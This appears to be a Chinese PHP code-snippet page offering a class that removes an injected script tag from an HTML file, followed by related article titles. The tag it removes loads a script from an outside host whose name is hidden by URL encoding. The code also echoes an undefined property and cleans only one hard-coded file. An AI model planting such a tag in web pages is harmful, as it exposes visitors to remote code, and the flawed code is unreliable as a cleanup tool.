php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP之生成GIF动画的实现方法

代码如下所示:复制代码 代码如下:<?class GifMerge {     var $ver    &nb...

PHP 7安装调试工具Xdebug扩展的方法教程

PHP 7安装调试工具Xdebug扩展的方法教程

前言 说到PHP代码调试,对于有经验的PHPer,通过echo、print_r、var_dump函数,或PHP开发工具zend studio、editplus可解决大部分问题,但是对于P...

兼容性比较好的PHP生成缩略图的代码

复制代码 代码如下: function ImageResize($srcFile,$toW,$toH,$toFile="") { if($toFile==""){ $toFile = $...

PHP获取表单textarea数据中的换行问题

PHP获取表单textarea数据中的换行问题

测试页面代码: 复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://...

解决文件名解压后乱码的问题 将文件名进行转码的代码

复制代码 代码如下: <?php $a=zip_open('other.zip'); while ($e=zip_read($a)){ $fz = zip_entry_filesi...